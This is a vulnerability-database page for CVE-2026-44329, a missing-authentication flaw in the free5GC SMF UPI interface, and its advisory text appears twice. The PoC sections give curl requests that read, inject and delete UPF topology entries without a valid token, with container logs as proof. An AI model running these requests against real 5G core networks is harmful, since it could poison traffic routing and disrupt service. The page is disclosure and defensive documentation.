Skip to main content

Docker CVE-2026-44329

| EUVDEUVD-2026-32569 CRITICAL
Missing Authentication for Critical Function (CWE-306)
2026-05-08 https://github.com/free5gc/free5gc GHSA-3258-qmv8-frp3
10.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
High

Lifecycle Timeline

1
CVE Published
May 08, 2026 - 23:02 nvd
CRITICAL 10.0

DescriptionGitHub Advisory

Summary

free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.

The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.

Details

Validated against the SMF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/smf:v4.2.0
  • Docker validation date: 2026-03-13

Control comparison on the same SMF instance:

  • GET /upi/v1/upNodesLinks (no token) -> 200 OK
  • GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized

This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.

Code evidence (paths in free5gc/smf):

  • UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76
  • OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95
  • UPI business handlers (read / write / delete on upNodesLinks):
  • NFs/smf/internal/sbi/api_upi.go:44
  • NFs/smf/internal/sbi/api_upi.go:60
  • NFs/smf/internal/sbi/api_upi.go:84

PoC

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

  1. READ UP-nodes/links with NO Authorization header -> 200 OK:
curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
  1. WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK:
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
  1. DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):
curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \
  -H 'Authorization: Bearer not-a-real-token'
  1. CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized:
curl -i http://10.100.200.6:8000/nsmf-oam/v1/

SMF container logs (docker logs smf) confirm the side-by-side behavior:

[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNodesLinks
[INFO][SMF][GIN] | 401 | GET    | /nsmf-oam/v1/
[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313
[INFO][SMF][GIN] | 200 | POST   | /upi/v1/upNodesLinks

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.

Any party that can reach SMF on the SBI can:

  • Read SMF's current UP-node and link topology view anonymously.
  • Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions.
  • Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.

The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197

Analysis

Summary

free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.

The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.

Details

Validated against the SMF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/smf:v4.2.0
  • Docker validation date: 2026-03-13

Control comparison on the same SMF instance:

  • GET /upi/v1/upNodesLinks (no token) -> 200 OK
  • GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized

This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.

Code evidence (paths in free5gc/smf):

  • UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76
  • OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95
  • UPI business handlers (read / write / delete on upNodesLinks):
  • NFs/smf/internal/sbi/api_upi.go:44
  • NFs/smf/internal/sbi/api_upi.go:60
  • NFs/smf/internal/sbi/api_upi.go:84

PoC

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

  1. READ UP-nodes/links with NO Authorization header -> 200 OK:
curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
  1. WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK:
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
  1. DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):
curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \
  -H 'Authorization: Bearer not-a-real-token'
  1. CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized:
curl -i http://10.100.200.6:8000/nsmf-oam/v1/

SMF container logs (docker logs smf) confirm the side-by-side behavior:

[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNodesLinks
[INFO][SMF][GIN] | 401 | GET    | /nsmf-oam/v1/
[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313
[INFO][SMF][GIN] | 200 | POST   | /upi/v1/upNodesLinks

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.

Any party that can reach SMF on the SBI can:

  • Read SMF's current UP-node and link topology view anonymously.
  • Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions.
  • Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.

The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-44329 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy